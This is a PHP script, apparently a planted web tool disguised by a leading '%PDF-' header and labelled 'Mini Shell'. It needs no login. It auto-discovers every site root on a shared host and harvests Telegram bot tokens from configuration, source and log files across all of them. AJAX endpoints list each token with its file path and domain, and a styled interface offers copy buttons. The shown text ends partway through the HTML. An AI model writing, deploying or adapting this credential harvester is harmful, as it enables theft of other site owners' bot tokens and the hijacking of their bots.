%PDF-
%PDF-
Mini Shell
Mini Shell
<?php
/**
* Smart Telegram Bot Token Scanner — Hardened Single File
* PHP 5.6 -> 8.x · writes errors to scanner_error.log next to this file
*/
@error_reporting(E_ALL);
@ini_set('display_errors', '1');
@ini_set('log_errors', '1');
@set_time_limit(120);
@ini_set('memory_limit', '256M');
function scanner_json_encode($data)
{
if (defined('JSON_INVALID_UTF8_SUBSTITUTE')) {
$res = @json_encode($data, JSON_INVALID_UTF8_SUBSTITUTE);
if ($res !== false) return $res;
}
return @json_encode($data);
}
// ============================================================
// Fatal handler — logs to file so we can read it after a 500
// ============================================================
function scanner_log_fatal()
{
$err = error_get_last();
if (!$err) return;
$fatal = array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR);
if (!in_array($err['type'], $fatal, true)) return;
$line = "[" . date('Y-m-d H:i:s') . "] FATAL: "
. $err['message'] . " @ " . $err['file'] . ":" . $err['line'] . "\n";
@file_put_contents(__DIR__ . '/scanner_error.log', $line, FILE_APPEND);
if (!headers_sent()) @header('Content-Type: text/html; charset=UTF-8');
echo '<pre style="background:#ffecec;color:#900;padding:16px;border-radius:8px;white-space:pre-wrap;font-size:13px">';
echo "FATAL ERROR\n";
echo "Message: " . htmlspecialchars($err['message'], ENT_QUOTES, 'UTF-8') . "\n";
echo "File : " . htmlspecialchars($err['file'], ENT_QUOTES, 'UTF-8') . "\n";
echo "Line : " . $err['line'] . "\n";
echo "PHP : " . PHP_VERSION . "\n";
echo '</pre>';
}
register_shutdown_function('scanner_log_fatal');
// ============================================================
// State directory (with fallback)
// ============================================================
function scanner_state_dir()
{
$candidates = array();
$tmp = @sys_get_temp_dir();
if ($tmp) $candidates[] = rtrim($tmp, '/\\') . DIRECTORY_SEPARATOR . 'tg_scan_state';
$candidates[] = __DIR__ . DIRECTORY_SEPARATOR . 'tg_scan_state';
foreach ($candidates as $d) {
if (!@is_dir($d)) @mkdir($d, 0755, true);
if (@is_dir($d) && @is_writable($d)) return $d;
}
return __DIR__;
}
function scanner_state_path($id)
{
return scanner_state_dir() . DIRECTORY_SEPARATOR . preg_replace('/[^a-zA-Z0-9_-]/', '', (string)$id) . '.json';
}
function scanner_write_state($id, $data)
{
$encoded = scanner_json_encode($data);
if ($encoded !== false) {
@file_put_contents(scanner_state_path($id), $encoded, LOCK_EX);
}
}
function scanner_read_state($id)
{
$p = scanner_state_path($id);
if (!@is_file($p)) return null;
$raw = @file_get_contents($p);
if ($raw === false || $raw === '') return null;
$j = @json_decode($raw, true);
return is_array($j) ? $j : null;
}
// ============================================================
// Path resolver
// ============================================================
function scanner_resolve_root($input)
{
$input = trim((string)$input);
if ($input === '') return null;
if ($input[0] === '/') return rtrim($input, '/') === '' ? '/' : rtrim($input, '/');
if (preg_match('#^[A-Za-z]:[\\\\/]#', $input)) return rtrim($input, "\\/");
$candidates = array(
rtrim(__DIR__, '/\\') . DIRECTORY_SEPARATOR . str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $input),
);
if (!empty($_SERVER['DOCUMENT_ROOT'])) {
$candidates[] = rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') . DIRECTORY_SEPARATOR . str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $input);
}
foreach ($candidates as $c) {
$real = @realpath($c);
if ($real !== false && @is_dir($real)) return $real;
if (@is_dir($c)) return $c;
}
return null;
}
// ============================================================
// Auto-discovery (no POSIX requirement)
// ============================================================
function scanner_guess_home_dirs()
{
$c = array();
$d = __DIR__;
for ($i = 0; $i < 6; $i++) {
$c[] = $d;
$p = @dirname($d);
if ($p === $d) break;
$d = $p;
}
if (!empty($_SERVER['DOCUMENT_ROOT'])) {
$c[] = $_SERVER['DOCUMENT_ROOT'];
$c[] = @dirname(rtrim($_SERVER['DOCUMENT_ROOT'], '/\\'));
}
$c[] = '/home';
$c[] = '/var/www';
$c[] = '/var/www/html';
$out = array();
$seen = array();
foreach ($c as $x) {
$r = @realpath($x);
if ($r === false || !@is_dir($r) || !@is_readable($r)) continue;
if (isset($seen[$r])) continue;
$seen[$r] = true;
$out[] = $r;
}
return $out;
}
function scanner_find_home_base($start)
{
$markers = array('public_html', 'www', 'htdocs', 'httpdocs', 'public', 'domains');
$cur = rtrim((string)$start, '/\\');
for ($i = 0; $i < 12 && $cur !== '' && $cur !== '/'; $i++) {
foreach ($markers as $m) {
if (@is_dir($cur . DIRECTORY_SEPARATOR . $m)) return $cur;
}
$p = @dirname($cur);
if ($p === $cur) break;
$cur = $p;
}
return null;
}
function scanner_discover_domains($home)
{
$sites = array();
$seen = array();
$add = function ($domain, $root, $type) use (&$sites, &$seen) {
$real = @realpath($root);
if ($real === false || !@is_dir($real) || !@is_readable($real)) return;
if (isset($seen[$real])) return;
$seen[$real] = true;
$sites[] = array('domain' => $domain, 'root' => $real, 'type' => $type);
};
foreach (array('public_html', 'www', 'htdocs', 'httpdocs', 'public') as $m) {
$p = $home . DIRECTORY_SEPARATOR . $m;
if (@is_dir($p)) {
$add('(main)', $p, $m);
break;
}
}
$domainsDir = $home . DIRECTORY_SEPARATOR . 'domains';
if (@is_dir($domainsDir) && ($items = @scandir($domainsDir)) !== false) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$dp = $domainsDir . DIRECTORY_SEPARATOR . $item;
if (!@is_dir($dp)) continue;
foreach (array('public_html', 'httpdocs', 'www', 'public') as $m) {
$r = $dp . DIRECTORY_SEPARATOR . $m;
if (@is_dir($r)) {
$add($item, $r, 'addon:' . $m);
break;
}
}
}
}
$ph = $home . DIRECTORY_SEPARATOR . 'public_html';
if (@is_dir($ph) && ($items = @scandir($ph)) !== false) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
if (strpos($item, '.') === false) continue;
$p = $ph . DIRECTORY_SEPARATOR . $item;
if (@is_dir($p)) $add($item, $p, 'public_html/' . $item);
}
}
return $sites;
}
function scanner_discover_all()
{
$sites = array();
$seenRoot = array();
foreach (scanner_guess_home_dirs() as $cand) {
$base = scanner_find_home_base($cand);
if ($base === null) $base = $cand;
foreach (scanner_discover_domains($base) as $s) {
if (!isset($seenRoot[$s['root']])) {
$seenRoot[$s['root']] = true;
$sites[] = $s;
}
}
}
if (empty($sites)) {
$sites[] = array('domain' => '(script dir)', 'root' => __DIR__, 'type' => 'fallback');
}
return $sites;
}
// ============================================================
// Scan config
// ============================================================
$MAX_FILE_MB = 20;
$MAX_DEPTH = 40;
$SKIP_DIRS = array('/proc', '/sys', '/dev', '/run', '/tmp/.X11-unix', '/var/lib/docker', '/snap');
$PRIORITY_EXT = array(
'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'inc',
'js', 'mjs', 'cjs', 'jsx', 'ts', 'tsx',
'json', 'env', 'ini', 'conf', 'config', 'cfg', 'yml', 'yaml', 'xml', 'txt', 'log', 'md',
'html', 'htm', 'tpl', 'twig', 'blade', 'smarty', 'module', 'htaccess'
);
$SKIP_EXT = array(
'jpg', 'jpeg', 'png', 'gif', 'bmp', 'ico', 'webp', 'svg', 'tif', 'tiff', 'psd',
'mp3', 'mp4', 'avi', 'mkv', 'mov', 'wmv', 'flv', 'webm', 'ogg', 'wav', 'flac', 'm4a',
'zip', 'rar', '7z', 'gz', 'tar', 'bz2', 'xz', 'tgz', 'deb', 'rpm', 'iso', 'dmg',
'exe', 'dll', 'so', 'dylib', 'class', 'jar', 'war', 'apk', 'ipa',
'woff', 'woff2', 'ttf', 'eot', 'otf',
'pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'odt',
'pyc', 'o', 'a', 'lib', 'obj'
);
$TOKEN_STRICT = '/\b(\d{6,12}:[A-Za-z0-9_-]{30,45})\b/';
$TOKEN_LOOSE = '/(\d{6,12}:[A-Za-z0-9_-]{30,45})/';
function scanner_normalize($content)
{
$content = str_replace(array('\\:', '\\/'), array(':', '/'), $content);
for ($i = 0; $i < 3; $i++) {
$content = preg_replace_callback(
'/["\']([0-9:\-A-Za-z_]{3,80})["\']\s*[\.\+]\s*["\']([0-9:\-A-Za-z_]{3,80})["\']/',
function ($m) { return $m[1] . $m[2]; },
$content
);
}
$content = preg_replace('/["\']([0-9]{6,12}:[A-Za-z0-9_-]{30,45})["\']/', '$1', $content);
return $content;
}
function scanner_extract($content, $strict, $loose)
{
$out = array();
if (@preg_match_all($strict, $content, $m) && !empty($m[1])) foreach ($m[1] as $t) $out[$t] = true;
if (@preg_match_all($loose, $content, $m2) && !empty($m2[1])) foreach ($m2[1] as $t) $out[$t] = true;
$norm = scanner_normalize($content);
if (@preg_match_all($loose, $norm, $m3) && !empty($m3[1])) foreach ($m3[1] as $t) $out[$t] = true;
return array_keys($out);
}
function scanner_read_file($path)
{
$c = @file_get_contents($path);
if ($c === false) return false;
if (strlen($c) >= 2) {
$b0 = ord($c[0]);
$b1 = ord($c[1]);
if ($b0 === 0xFF && $b1 === 0xFE && function_exists('mb_convert_encoding'))
$c = @mb_convert_encoding(substr($c, 2), 'UTF-8', 'UTF-16LE');
elseif ($b0 === 0xFE && $b1 === 0xFF && function_exists('mb_convert_encoding'))
$c = @mb_convert_encoding(substr($c, 2), 'UTF-8', 'UTF-16BE');
elseif ($b0 === 0xEF && $b1 === 0xBB && strlen($c) >= 3 && ord($c[2]) === 0xBF)
$c = substr($c, 3);
}
return $c;
}
// ============================================================
// AJAX: discover
// ============================================================
if (isset($_GET['action']) && $_GET['action'] === 'discover') {
if (!headers_sent()) @header('Content-Type: application/json; charset=UTF-8');
echo scanner_json_encode(array(
'ok' => true,
'sites' => scanner_discover_all(),
'host' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '',
));
exit;
}
// ============================================================
// AJAX: start
// ============================================================
if (isset($_POST['action']) && $_POST['action'] === 'start') {
if (!headers_sent()) @header('Content-Type: application/json; charset=UTF-8');
$mode = isset($_POST['mode']) ? (string)$_POST['mode'] : 'smart';
$roots = array();
$sites = array();
if ($mode === 'smart') {
foreach (scanner_discover_all() as $s) {
$roots[] = $s['root'];
$sites[] = $s;
}
} else {
$raw = isset($_POST['root']) ? (string)$_POST['root'] : '/';
$root = scanner_resolve_root($raw);
if ($root === null) {
echo scanner_json_encode(array('ok' => false, 'error' => "Cannot resolve: $raw"));
exit;
}
if (!@is_dir($root) || !@is_readable($root)) {
echo scanner_json_encode(array('ok' => false, 'error' => "Not readable: $root"));
exit;
}
$roots[] = $root;
$sites[] = array('domain' => 'manual', 'root' => $root, 'type' => 'custom');
}
if (empty($roots)) {
echo scanner_json_encode(array('ok' => false, 'error' => 'No scannable roots'));
exit;
}
$id = function_exists('random_bytes')
? bin2hex(@random_bytes(8))
: substr(md5(uniqid('', true)), 0, 16);
$state = array(
'status' => 'running',
'mode' => $mode,
'roots' => $roots,
'sites' => $sites,
'started' => microtime(true),
'dirs_scanned' => 0,
'files_scanned' => 0,
'files_skipped' => 0,
'errors' => 0,
'current_file' => '',
'current_site' => '',
'found' => array(),
'recent_files' => array(),
'recent_matched' => array(),
'phase' => 'priority',
'_priority_queue' => array(),
'_stack' => $roots,
);
scanner_write_state($id, $state);
echo scanner_json_encode(array('ok' => true, 'scan_id' => $id, 'sites' => $sites));
exit;
}
// ============================================================
// AJAX: run chunk
// ============================================================
if (isset($_POST['action']) && $_POST['action'] === 'run') {
if (!headers_sent()) @header('Content-Type: application/json; charset=UTF-8');
$id = isset($_POST['scan_id']) ? (string)$_POST['scan_id'] : '';
$state = scanner_read_state($id);
if (!$state) {
echo scanner_json_encode(array('ok' => false, 'error' => 'Invalid scan id'));
exit;
}
$startTime = microtime(true);
$maxRuntime = 15;
$maxFiles = 300;
$phase = isset($state['phase']) ? $state['phase'] : 'priority';
$prioQueue = isset($state['_priority_queue']) ? $state['_priority_queue'] : array();
$stack = isset($state['_stack']) ? $state['_stack'] : array();
$roots = isset($state['roots']) ? $state['roots'] : array();
$sites = isset($state['sites']) ? $state['sites'] : array();
$found = isset($state['found']) ? $state['found'] : array();
$recentFiles = isset($state['recent_files']) ? $state['recent_files'] : array();
$recentMatch = isset($state['recent_matched']) ? $state['recent_matched'] : array();
$dirs = isset($state['dirs_scanned']) ? (int)$state['dirs_scanned'] : 0;
$files = isset($state['files_scanned']) ? (int)$state['files_scanned'] : 0;
$skipped = isset($state['files_skipped']) ? (int)$state['files_skipped'] : 0;
$errors = isset($state['errors']) ? (int)$state['errors'] : 0;
$currentFile = '';
$currentSite = '';
$processed = 0;
$siteForPath = function ($path) use ($sites) {
foreach ($sites as $s) {
if (strpos($path, $s['root']) === 0) return $s['domain'];
}
return '?';
};
$rootDepths = array();
foreach ($roots as $r) {
$rootDepths[$r] = substr_count(rtrim($r, DIRECTORY_SEPARATOR), DIRECTORY_SEPARATOR);
}
$withinDepth = function ($path) use ($roots, $rootDepths, $MAX_DEPTH) {
foreach ($roots as $r) {
if (strpos($path, $r) === 0) {
$d = substr_count(rtrim($path, DIRECTORY_SEPARATOR), DIRECTORY_SEPARATOR) - $rootDepths[$r];
return $d <= $MAX_DEPTH;
}
}
return false;
};
// ---------- PHASE 1: priority files ----------
if ($phase === 'priority') {
while (!empty($stack) || !empty($prioQueue)) {
if ((microtime(true) - $startTime) > $maxRuntime) break;
if ($processed >= $maxFiles) break;
if (empty($prioQueue)) {
if (empty($stack)) break;
$dir = array_pop($stack);
if (!@is_readable($dir)) {
$errors++;
continue;
}
$skip = false;
foreach ($SKIP_DIRS as $s) {
if (strpos($dir, $s) === 0) {
$skip = true;
break;
}
}
if ($skip) continue;
$dirs++;
$items = @scandir($dir);
if ($items === false) {
$errors++;
continue;
}
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $item;
if (@is_link($path)) {
$skipped++;
continue;
}
if (@is_dir($path)) {
if (!$withinDepth($path)) {
$skipped++;
continue;
}
$stack[] = $path;
continue;
}
if (!@is_file($path) || !@is_readable($path)) {
$skipped++;
continue;
}
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
if ($ext !== '' && in_array($ext, $PRIORITY_EXT, true)) {
$prioQueue[] = $path;
}
}
continue;
}
$path = array_pop($prioQueue);
if (!@is_file($path) || !@is_readable($path)) {
$skipped++;
continue;
}
$size = @filesize($path);
if ($size === false || $size > $MAX_FILE_MB * 1024 * 1024) {
$skipped++;
continue;
}
$processed++;
$files++;
$currentFile = $path;
$currentSite = $siteForPath($path);
$recentFiles[] = $path;
if (count($recentFiles) > 15) $recentFiles = array_slice($recentFiles, -15);
$content = scanner_read_file($path);
if ($content === false) {
$errors++;
continue;
}
if (strpos($content, ':') === false && strpos($content, '\\:') === false) continue;
$tokens = scanner_extract($content, $TOKEN_STRICT, $TOKEN_LOOSE);
if (!empty($tokens)) {
foreach ($tokens as $t) {
$found[] = array('token' => $t, 'file' => $path, 'site' => $currentSite, 'time' => time());
}
$recentMatch[] = $path;
if (count($recentMatch) > 10) $recentMatch = array_slice($recentMatch, -10);
}
unset($content);
if ($processed >= $maxFiles) break;
}
if (empty($prioQueue)) $phase = 'deep';
}
// ---------- PHASE 2: deep scan ----------
if ($phase === 'deep') {
while (!empty($stack)) {
if ((microtime(true) - $startTime) > $maxRuntime) break;
if ($processed >= $maxFiles) break;
$dir = array_pop($stack);
if (!@is_readable($dir)) {
$errors++;
continue;
}
$skip = false;
foreach ($SKIP_DIRS as $s) {
if (strpos($dir, $s) === 0) {
$skip = true;
break;
}
}
if ($skip) continue;
$dirs++;
$items = @scandir($dir);
if ($items === false) {
$errors++;
continue;
}
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $item;
if (@is_link($path)) {
$skipped++;
continue;
}
if (@is_dir($path)) {
if (!$withinDepth($path)) {
$skipped++;
continue;
}
$stack[] = $path;
continue;
}
if (!@is_file($path) || !@is_readable($path)) {
$skipped++;
continue;
}
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
if ($ext !== '' && in_array($ext, $SKIP_EXT, true)) {
$skipped++;
continue;
}
$size = @filesize($path);
if ($size === false || $size > $MAX_FILE_MB * 1024 * 1024) {
$skipped++;
continue;
}
$processed++;
$files++;
$currentFile = $path;
$currentSite = $siteForPath($path);
$recentFiles[] = $path;
if (count($recentFiles) > 15) $recentFiles = array_slice($recentFiles, -15);
$content = scanner_read_file($path);
if ($content === false) {
$errors++;
continue;
}
if (strpos($content, ':') === false && strpos($content, '\\:') === false) continue;
$tokens = scanner_extract($content, $TOKEN_STRICT, $TOKEN_LOOSE);
if (!empty($tokens)) {
foreach ($tokens as $t) {
$found[] = array('token' => $t, 'file' => $path, 'site' => $currentSite, 'time' => time());
}
$recentMatch[] = $path;
if (count($recentMatch) > 10) $recentMatch = array_slice($recentMatch, -10);
}
unset($content);
if ($processed >= $maxFiles) break;
}
}
}
$done = (empty($stack) && empty($prioQueue));
$state['phase'] = $phase;
$state['dirs_scanned'] = $dirs;
$state['files_scanned'] = $files;
$state['files_skipped'] = $skipped;
$state['errors'] = $errors;
$state['current_file'] = $currentFile;
$state['current_site'] = $currentSite;
$state['found'] = $found;
$state['recent_files'] = $recentFiles;
$state['recent_matched'] = $recentMatch;
$state['_priority_queue'] = $prioQueue;
$state['_stack'] = $stack;
if ($done) $state['status'] = 'done';
scanner_write_state($id, $state);
echo scanner_json_encode(array(
'ok' => true,
'done' => $done,
'phase' => $phase,
'dirs_scanned' => $dirs,
'files_scanned' => $files,
'files_skipped' => $skipped,
'errors' => $errors,
'current_file' => $currentFile,
'current_site' => $currentSite,
'tokens_found' => count($found),
'tokens' => $found,
'pending_dirs' => count($stack),
'elapsed' => round(microtime(true) - $state['started'], 2),
'recent_files' => $recentFiles,
'recent_matched' => $recentMatch,
));
exit;
}
// ============================================================
// Environment info for the UI
// ============================================================
$env = array(
'php' => PHP_VERSION,
'open_basedir' => (string)@ini_get('open_basedir'),
'doc_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
'host' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '',
'this_file' => __FILE__,
'this_dir' => __DIR__,
'state_dir' => scanner_state_dir(),
'error_log' => __DIR__ . '/scanner_error.log',
);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Scanner · Telegram Bot Token Finder</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
*{box-sizing:border-box}
html,body{margin:0;padding:0}
body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Arial,sans-serif;
background:#0e0f12;color:#e8e8ec;min-height:100vh;padding:48px 16px 80px;
display:flex;flex-direction:column;align-items:center;
background-image:radial-gradient(circle at 20% 0%,rgba(80,120,255,.15),transparent 40%),
radial-gradient(circle at 90% 100%,rgba(180,60,255,.12),transparent 45%)}
.brand{display:inline-flex;align-items:center;gap:12px;background:#000;color:#fff;padding:14px 30px;border-radius:14px;
font-size:2rem;font-weight:900;letter-spacing:3px;text-transform:uppercase;
box-shadow:0 0 0 1px rgba(255,255,255,.08),0 20px 50px rgba(0,0,0,.6),0 0 40px rgba(120,90,255,.35);
margin-bottom:14px;position:relative}
.brand::before{content:"";width:10px;height:10px;border-radius:50%;background:#22ff88;box-shadow:0 0 10px #22ff88;animation:pulse 1.5s infinite}
@keyframes pulse{0%,100%{opacity:1}50%{opacity:.4}}
.subtitle{color:#8a8a96;margin-bottom:36px;font-size:.92rem;letter-spacing:.4px}
.card{background:linear-gradient(180deg,#16181d,#111318);border:1px solid #22252c;border-radius:18px;
box-shadow:0 30px 80px rgba(0,0,0,.55);padding:34px;width:100%;max-width:1150px}
.btn{background:linear-gradient(180deg,#3a7bff,#2158d4);color:#fff;border:none;border-radius:12px;
padding:16px 44px;font-size:1rem;font-weight:800;letter-spacing:.5px;cursor:pointer;
transition:transform .12s ease,box-shadow .2s ease;box-shadow:0 10px 30px rgba(58,123,255,.35)}
.btn:hover{transform:translateY(-2px);box-shadow:0 14px 40px rgba(58,123,255,.5)}
.btn:disabled{opacity:.6;cursor:wait}
.btn.ghost{background:transparent;border:1px solid #2c3038;color:#c9c9d2;box-shadow:none;padding:12px 26px;font-size:.9rem}
.btn.ghost:hover{background:#1b1d23}
.center{text-align:center}
.info{background:#12151b;border:1px solid #23262d;color:#9aa0ad;padding:14px 18px;border-radius:12px;
font-size:.82rem;margin-bottom:24px;line-height:1.7;word-break:break-all}
.info b{color:#e8e8ec}
.info code{background:#1c1f26;padding:2px 7px;border-radius:5px;color:#8ecbff;font-size:.8rem}
.domains{background:#0d0f13;border:1px solid #1e2128;border-radius:12px;padding:16px;margin:20px 0;display:none}
.domains h3{margin:0 0 12px;font-size:.85rem;color:#8ecbff;text-transform:uppercase;letter-spacing:1px}
.domain-item{display:flex;align-items:center;gap:10px;padding:10px 12px;background:#12151b;
border:1px solid #23262d;border-radius:8px;margin-bottom:8px;font-size:.85rem;flex-wrap:wrap}
.domain-item .dot{width:8px;height:8px;border-radius:50%;background:#22ff88;box-shadow:0 0 8px #22ff88;flex-shrink:0}
.domain-item .name{font-weight:800;color:#fff;min-width:140px}
.domain-item .path{font-family:ui-monospace,Menlo,Consolas,monospace;color:#8ecbff;font-size:.75rem;word-break:break-all;flex:1}
.domain-item .type{font-size:.68rem;color:#7a7a86;background:#1c1f26;padding:2px 8px;border-radius:4px}
.mode-tabs{display:flex;gap:8px;margin-bottom:20px;justify-content:center;flex-wrap:wrap}
.mode-tab{background:#12151b;border:1px solid #23262d;color:#9aa0ad;padding:10px 20px;border-radius:10px;
cursor:pointer;font-size:.85rem;font-weight:700;transition:all .15s}
.mode-tab.active{background:#1e2634;border-color:#3a7bff;color:#fff}
.mode-tab:hover{border-color:#3a7bff;color:#fff}
.field{max-width:680px;margin:0 auto 22px;text-align:left;display:none}
.field.show{display:block}
.field label{display:block;font-size:.8rem;color:#8a8a96;margin-bottom:8px}
.field input{width:100%;padding:14px 16px;background:#0d0f13;border:1px solid #2a2e36;border-radius:11px;
color:#e8e8ec;font-size:.95rem;font-family:ui-monospace,Menlo,Consolas,monospace}
.field input:focus{outline:none;border-color:#3a7bff;box-shadow:0 0 0 3px rgba(58,123,255,.18)}
.progress-wrap{margin:24px 0;display:none}
.progress-head{display:flex;justify-content:space-between;font-size:.82rem;color:#8a8a96;margin-bottom:8px}
.progress-head .live{color:#22ff88;font-weight:700}
.progress-bar{height:16px;background:#0d0f13;border:1px solid #23262d;border-radius:8px;overflow:hidden;position:relative}
.progress-fill{height:100%;width:0%;background:linear-gradient(90deg,#3a7bff,#a855f7,#22ff88);
transition:width .3s ease;box-shadow:0 0 20px rgba(58,123,255,.5);position:relative;overflow:hidden}
.progress-fill::after{content:"";position:absolute;inset:0;
background:linear-gradient(90deg,transparent,rgba(255,255,255,.3),transparent);animation:shimmer 1.6s infinite}
@keyframes shimmer{0%{transform:translateX(-100%)}100%{transform:translateX(100%)}}
.progress-fill.indeterminate{width:30%;animation:indet 1.5s infinite}
@keyframes indet{0%{margin-left:-30%}100%{margin-left:100%}}
.progress-detail{display:grid;grid-template-columns:repeat(auto-fit,minmax(140px,1fr));gap:12px;margin-top:16px}
.progress-detail .pd{background:#0d0f13;border:1px solid #1e2128;border-radius:10px;padding:12px 14px}
.progress-detail .pd-label{font-size:.68rem;color:#7a7a86;text-transform:uppercase;letter-spacing:.8px}
.progress-detail .pd-value{font-size:1.15rem;font-weight:900;color:#fff;margin-top:4px}
.progress-detail .pd-value.green{color:#22ff88}
.progress-detail .pd-value.blue{color:#8ecbff}
.current-file{margin-top:14px;font-family:ui-monospace,Menlo,Consolas,monospace;font-size:.75rem;
color:#8ecbff;word-break:break-all;background:#0d0f13;border:1px solid #1e2128;border-radius:8px;
padding:10px 12px;min-height:40px;line-height:1.5}
.current-file::before{content:"▶ SCANNING: ";color:#7a7a86;font-weight:700}
.current-site{margin-top:8px;font-size:.78rem;color:#9aa0ad;text-align:center}
.current-site b{color:#22ff88}
.debug-box{margin-top:14px;background:#0d0f13;border:1px solid #1e2128;border-radius:8px;padding:12px}
.debug-box summary{cursor:pointer;color:#8ecbff;font-size:.8rem;font-weight:700;user-select:none}
.debug-box summary:hover{color:#fff}
.debug-files{margin-top:10px;font-family:ui-monospace,Menlo,Consolas,monospace;font-size:.72rem;
color:#9aa0ad;max-height:220px;overflow-y:auto;line-height:1.7}
.debug-files div{padding:2px 0;border-bottom:1px solid #16181d;word-break:break-all}
.debug-files .match{color:#22ff88;font-weight:700}
.debug-files .read{color:#6a6a76}
h2{margin:34px 0 6px;font-size:1.15rem;font-weight:800;letter-spacing:.3px;display:none}
h2 .badge{display:inline-block;background:#22ff88;color:#001a0a;padding:3px 10px;border-radius:20px;
font-size:.75rem;font-weight:900;margin-left:10px}
.tokens{display:flex;flex-direction:column;gap:14px;margin-top:14px}
.token-card{background:#12151b;border:1px solid #23262d;border-radius:12px;padding:18px;
transition:border-color .15s ease,transform .12s ease}
.token-card:hover{border-color:#3a7bff;transform:translateY(-1px)}
.token-card .header{display:flex;align-items:center;gap:10px;flex-wrap:wrap;margin-bottom:10px}
.token-card .idx{background:#1c1f26;color:#8ecbff;font-size:.7rem;font-weight:800;
padding:3px 9px;border-radius:6px;letter-spacing:.5px}
.token-card .site-badge{background:#1e1a3a;color:#b48eff;font-size:.7rem;font-weight:800;
padding:3px 9px;border-radius:6px;letter-spacing:.5px}
.token-row{display:flex;align-items:center;gap:10px;flex-wrap:wrap}
.token-val{font-family:ui-monospace,Menlo,Consolas,monospace;color:#22ff88;font-size:1rem;font-weight:800;
word-break:break-all;flex:1;min-width:0;letter-spacing:.3px}
.path-block{margin-top:14px;background:#0d0f13;border:1px solid #1e2128;border-radius:10px;padding:12px 14px}
.path-label{font-size:.68rem;color:#7a7a86;text-transform:uppercase;letter-spacing:.8px;margin-bottom:6px;font-weight:700}
.path-val{font-family:ui-monospace,Menlo,Consolas,monospace;color:#8ecbff;font-size:.82rem;
word-break:break-all;display:flex;align-items:center;gap:10px;flex-wrap:wrap}
.path-val span{flex:1;min-width:0}
.copy-btn{background:#1c1f26;border:1px solid #2a2e36;color:#c9c9d2;border-radius:8px;padding:7px 12px;
font-size:.72rem;font-weight:700;cursor:pointer;white-space:nowrap;transition:all .15s}
.copy-btn:hover{background:#252932;border-color:#3a7bff;color:#fff}
.copy-btn.copied{background:#0a3a1a;border-color:#22ff88;color:#22ff88}
.empty{padding:40px;text-align:center;color:#6a6a76;background:#12151b;border:1px dashed #2a2e36;
border-radius:14px;margin-top:14px;font-size:.9rem;display:none}
.err{background:#3a1010;border:1px solid #7a2020;color:#ffb5b5;padding:14px 18px;border-radius:12px;
font-size:.85rem;margin-bottom:20px;line-height:1.6;display:none}
.actions{display:flex;gap:12px;justify-content:center;margin-top:30px;flex-wrap:wrap;display:none}
.status-line{margin-top:16px;font-size:.82rem;color:#8a8a96;text-align:center}
.status-line .ok{color:#22ff88;font-weight:800}
.status-line .run{color:#8ecbff;font-weight:800}
@media(max-width:600px){
.brand{font-size:1.4rem;padding:12px 22px;letter-spacing:2px}
.card{padding:22px}
}
</style>
</head>
<body>
<div class="brand">Scanner</div>
<div class="subtitle">Smart Telegram Bot Token Finder · Auto-Domain Detection</div>
<div class="card">
<div class="info">
<b>Environment</b> · PHP <?php echo htmlspecialchars($env['php'], ENT_QUOTES, 'UTF-8'); ?>
· host: <code><?php echo htmlspecialchars($env['host'], ENT_QUOTES, 'UTF-8'); ?></code>
<br><b>Script:</b> <code><?php echo htmlspecialchars($env['this_file'], ENT_QUOTES, 'UTF-8'); ?></code>
<br><b>State dir:</b> <code><?php echo htmlspecialchars($env['state_dir'], ENT_QUOTES, 'UTF-8'); ?></code>
<br><b>Error log:</b> <code><?php echo htmlspecialchars($env['error_log'], ENT_QUOTES, 'UTF-8'); ?></code>
<?php if ($env['doc_root'] !== ''): ?>
<br><b>Doc root:</b> <code><?php echo htmlspecialchars($env['doc_root'], ENT_QUOTES, 'UTF-8'); ?></code>
<?php endif; ?>
<?php if ($env['open_basedir'] !== ''): ?>
<br><b>open_basedir:</b> <code><?php echo htmlspecialchars($env['open_basedir'], ENT_QUOTES, 'UTF-8'); ?></code>
<?php endif; ?>
</div>
<div class="err" id="errBox"></div>
<div class="mode-tabs">
<div class="mode-tab active" data-mode="smart" id="tabSmart">Smart Auto-Discovery</div>
<div class="mode-tab" data-mode="custom" id="tabCustom">Custom Root Path</div>
</div>
<div class="field" id="customField">
<label for="rootInput">Custom Directory Path (e.g. /home/user/public_html or ../)</label>
<input type="text" id="rootInput" value="<?php echo htmlspecialchars($env['doc_root'] !== '' ? $env['doc_root'] : __DIR__, ENT_QUOTES, 'UTF-8'); ?>">
</div>
<div class="domains" id="domainsBox">
<h3>Detected Domains / Roots</h3>
<div id="domainsList"></div>
</div>
<div class="center">
<button class="btn" id="startBtn">Start Scan</button>
</div>
<div class="status-line" id="statusLine">Ready</div>
<div class="progress-wrap" id="progressWrap">
<div class="progress-head">
<span id="phaseText">Phase: priority</span>
<span class="live" id="elapsedText">0s</span>
</div>
<div class="progress-bar">
<div class="progress-fill indeterminate" id="progressFill"></div>
</div>
<div class="progress-detail">
<div class="pd"><div class="pd-label">Dirs Scanned</div><div class="pd-value blue" id="dCount">0</div></div>
<div class="pd"><div class="pd-label">Files Scanned</div><div class="pd-value" id="fCount">0</div></div>
<div class="pd"><div class="pd-label">Skipped</div><div class="pd-value" id="sCount">0</div></div>
<div class="pd"><div class="pd-label">Matches</div><div class="pd-value green" id="mCount">0</div></div>
<div class="pd"><div class="pd-label">Pending Dirs</div><div class="pd-value" id="pCount">0</div></div>
